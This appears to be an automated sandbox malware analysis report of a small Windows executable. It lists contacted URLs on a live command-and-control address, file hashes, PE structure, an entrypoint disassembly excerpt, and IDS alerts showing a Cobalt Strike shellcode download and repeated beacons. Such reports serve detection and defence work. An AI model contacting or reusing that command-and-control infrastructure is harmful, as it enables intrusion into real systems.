http://8.130.42.227:10001/en_US/all.jssiZ4#	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsB4	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js3	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125724436.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js5	7kSftA4Eoh.exe, 00000000.00000003.2639548955.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2520838322.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2018585370.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2324563494.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js:	7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2520838322.0000000000183000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2177812007.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js?	7kSftA4Eoh.exe, 00000000.00000003.2357124729.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2335515707.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2346423893.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsdob4k	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js=?	7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsR4	7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsdo	7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jssij4s	7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://127.0.0.1:%u/	7kSftA4Eoh.exe, 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsT	7kSftA4Eoh.exe, 00000000.00000003.2188573468.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2154291765.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2143627230.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/2yMeq7	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsU	7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jssi	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
8.130.42.227	unknown	Singapore		37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523188
Start date and time:	2024-10-01 09:16:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7kSftA4Eoh.exe renamed because original name is a hash value
Original Sample Name:	71f8b8789a4b0ac3f057f1468579fc23.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 20 Number of non-executed functions: 147
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:16:57	API Interceptor	14526524x Sleep call for process: 7kSftA4Eoh.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	mtgjyX9gHF.exe	Get hash	malicious	Quasar	Browse	39.102.36.209
	e4wLi4tmmo.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	47.120.3.3
	https://ebaite.cn/	Get hash	malicious	Unknown	Browse	120.25.112.99
	SecuriteInfo.com.FileRepMalware.23518.16980.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	106.14.141.209
	d3r1KVj317.exe	Get hash	malicious	Unknown	Browse	112.74.185.5
	http://aa5aa5aa5aa5aa44.app/	Get hash	malicious	Unknown	Browse	59.82.132.217
	http://hbyczyz.com/xrr	Get hash	malicious	Unknown	Browse	47.108.5.198
	http://www.tpckn.app/	Get hash	malicious	Unknown	Browse	203.107.62.140
	http://alibinaadi.com/.well-known/alibaba/Alibaba/index.php	Get hash	malicious	Unknown	Browse	59.82.33.225
	cjg7obu8xR.exe	Get hash	malicious	Unknown	Browse	112.74.185.5

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	5.225476561531618
TrID:	Win64 Executable (generic) (12005/4) 74.80% Generic Win/DOS Executable (2004/3) 12.49% DOS Executable Generic (2002/1) 12.47% VXD Driver (31/22) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	7kSftA4Eoh.exe
File size:	19'456 bytes
MD5:	71f8b8789a4b0ac3f057f1468579fc23
SHA1:	2f424692dcfb5f9fe87f1e94fd2922ab3fb2143d
SHA256:	a390b03e67b809b3dd08b840e3e917eb701387309c5a8859438dc926ce62ec64
SHA512:	b84f80a40a2b8a7fdb897548028df92119f7fcdfd5ed4f1f4046420886dbfb5443fa4b04ac8dd9fcb05a3daaeb0fa5f12a157240d5597ae2faaf6d2bc020e0a2
SSDEEP:	192:XV7qaCF6Op1t2dobVXujRDcBaXWQjwOT/2oH3pWF8qa1Dojjgi:BqaCF31cix+Dc4zjz30FF46gi
TLSH:	CD92E93FE71358E9C106D57845FB3733DCB239B385E6A72E1734D2B42E105A42EAAA14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./...."."...H................@............................................... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x401ba0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	147442e63270e287ed57d33257638324

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00003FF5h]
mov dword ptr [eax], 00000001h
call 00007FB8792BC33Fh
call 00007FB8792BBB2Ah
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00003FC5h]
mov dword ptr [eax], 00000000h
call 00007FB8792BC30Fh
call 00007FB8792BBAFAh
nop
nop
dec eax
add esp, 28h
ret
nop word ptr [eax+eax+00000000h]
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007FB8792BD7D4h
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007FB8792BBE59h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
jmp ecx
dec eax
arpl word ptr [00002AC2h], ax
test eax, eax
jle 00007FB8792BBEA8h
cmp dword ptr [00002ABBh], 00000000h
jle 00007FB8792BBE9Fh
dec eax
mov edx, dword ptr [00007CFEh]
dec eax
mov dword ptr [ecx+eax], edx
dec eax
mov edx, dword ptr [00007CFBh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9000	0x8d8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6000	0x2b8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5060	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9224	0x1e8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20a8	0x2200	3040ba596609d0f7ba50ac030468b13e	False	0.5708869485294118	data	5.9208685532060095	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4000	0x4f0	0x600	ebbe6bb0570cd55650f05db1b274f904	False	0.6516927083333334	dBase III DBT, version number 0, next free block index 10, 1st item "*n\032G\236\254N\220\351\330\360\|\244\252\210N\246\275\313{\373\370\350`\273\261\311c\240\367\220!\361\370\215l\256\265\325n\265\261\307c\244\343\205B\222\221\340/\370\366\2254\341\217\314a\245\267\322\|\341\226\361/\367\366\2244\341\217\352X\367\354\236/\225\252\314k\244\266\321 \364\366\2254\341\226\365?\367\361\250\005\301&T\032`\217\320\270H2\244j\256\257\007z\177\004\003&\360\345\357\215\206T\232"	5.844254602958452	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x5000	0x910	0xa00	b02c91451e7abad85f4a5bbe48fd6333	False	0.2421875	data	4.472912660223878	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x6000	0x2b8	0x400	ad5ec754cf0e204a3a3c39436081f3bc	False	0.380859375	data	2.9668653207491333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x7000	0x238	0x400	6ce9e303fb86766d702ecb2b174cf348	False	0.2578125	data	2.6337753778508075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x8000	0x9d0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x9000	0x8d8	0xa00	ec8dedb62953693cf02784f71f75d547	False	0.323828125	data	3.7083607069283806	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xa000	0x68	0x200	52d79e9aecf5d5c3145d3ec54aa197a8	False	0.0703125	data	0.2709192282599745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xb000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateThread, DeleteCriticalSection, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, QueryPerformanceCounter, ReadFile, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAlloc, VirtualProtect, VirtualQuery, WriteFile

msvcrt.dll

__C_specific_handler, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _fmode, _initterm, _onexit, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T09:16:59.037379+0200	2035442	ET MALWARE Successful Cobalt Strike Shellcode Download (x64) M1	1	8.130.42.227	10001	192.168.2.4	49730	TCP
2024-10-01T09:17:00.947197+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49731	8.130.42.227	10001	TCP
2024-10-01T09:17:02.228973+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49732	8.130.42.227	10001	TCP
2024-10-01T09:17:03.309425+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49733	8.130.42.227	10001	TCP
2024-10-01T09:17:04.366070+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49734	8.130.42.227	10001	TCP
2024-10-01T09:17:05.519622+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49735	8.130.42.227	10001	TCP
2024-10-01T09:17:06.606342+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49736	8.130.42.227	10001	TCP
2024-10-01T09:17:07.666636+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49737	8.130.42.227	10001	TCP
2024-10-01T09:17:08.719912+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49738	8.130.42.227	10001	TCP
2024-10-01T09:17:09.790001+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49739	8.130.42.227	10001	TCP
2024-10-01T09:17:13.878848+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49740	8.130.42.227	10001	TCP
2024-10-01T09:17:14.961547+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49742	8.130.42.227	10001	TCP
2024-10-01T09:17:16.042408+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49744	8.130.42.227	10001	TCP
2024-10-01T09:17:17.115300+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49747	8.130.42.227	10001	TCP
2024-10-01T09:17:18.198314+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49749	8.130.42.227	10001	TCP
2024-10-01T09:17:19.277882+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49751	8.130.42.227	10001	TCP
2024-10-01T09:17:20.348397+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49752	8.130.42.227	10001	TCP
2024-10-01T09:17:21.432830+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49753	8.130.42.227	10001	TCP
2024-10-01T09:17:23.040968+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49754	8.130.42.227	10001	TCP
2024-10-01T09:17:24.109998+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49755	8.130.42.227	10001	TCP
2024-10-01T09:17:25.186486+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49756	8.130.42.227	10001	TCP
2024-10-01T09:17:26.245359+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49757	8.130.42.227	10001	TCP
2024-10-01T09:17:27.329221+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49758	8.130.42.227	10001	TCP
2024-10-01T09:17:28.415425+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49759	8.130.42.227	10001	TCP
2024-10-01T09:17:29.482062+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49760	8.130.42.227	10001	TCP
2024-10-01T09:17:31.128011+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49761	8.130.42.227	10001	TCP
2024-10-01T09:17:32.766854+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49762	8.130.42.227	10001	TCP
2024-10-01T09:17:33.850975+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49763	8.130.42.227	10001	TCP
2024-10-01T09:17:34.934000+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49764	8.130.42.227	10001	TCP
2024-10-01T09:17:36.009885+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49765	8.130.42.227	10001	TCP
2024-10-01T09:17:37.091878+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49766	8.130.42.227	10001	TCP
2024-10-01T09:17:38.179805+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49767	8.130.42.227	10001	TCP
2024-10-01T09:17:39.265872+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49768	8.130.42.227	10001	TCP
2024-10-01T09:17:40.358668+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49769	8.130.42.227	10001	TCP
2024-10-01T09:17:41.456699+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49770	8.130.42.227	10001	TCP
2024-10-01T09:17:42.535412+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49771	8.130.42.227	10001	TCP
2024-10-01T09:17:43.632204+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49772	8.130.42.227	10001	TCP
2024-10-01T09:17:44.697946+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49773	8.130.42.227	10001	TCP
2024-10-01T09:17:45.952669+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49774	8.130.42.227	10001	TCP
2024-10-01T09:17:47.050823+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49775	8.130.42.227	10001	TCP
2024-10-01T09:17:48.123972+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49776	8.130.42.227	10001	TCP
2024-10-01T09:17:49.197763+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49777	8.130.42.227	10001	TCP
2024-10-01T09:17:50.296179+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49778	8.130.42.227	10001	TCP
2024-10-01T09:17:51.369205+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49779	8.130.42.227	10001	TCP
2024-10-01T09:17:52.431620+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49780	8.130.42.227	10001	TCP
2024-10-01T09:17:53.539482+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49782	8.130.42.227	10001	TCP
2024-10-01T09:17:54.689844+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49783	8.130.42.227	10001	TCP
2024-10-01T09:17:55.758444+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49784	8.130.42.227	10001	TCP
2024-10-01T09:17:56.837786+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49785	8.130.42.227	10001	TCP
2024-10-01T09:17:58.517597+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49786	8.130.42.227	10001	TCP
2024-10-01T09:17:59.583634+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49787	8.130.42.227	10001	TCP
2024-10-01T09:18:00.651525+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49788	8.130.42.227	10001	TCP
2024-10-01T09:18:01.725930+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49789	8.130.42.227	10001	TCP
2024-10-01T09:18:02.821096+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49790	8.130.42.227	10001	TCP
2024-10-01T09:18:03.911927+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49791	8.130.42.227	10001	TCP
2024-10-01T09:18:04.981938+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49792	8.130.42.227	10001	TCP
2024-10-01T09:18:06.064082+0200	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49793	8.130.42.227	10001	TCP
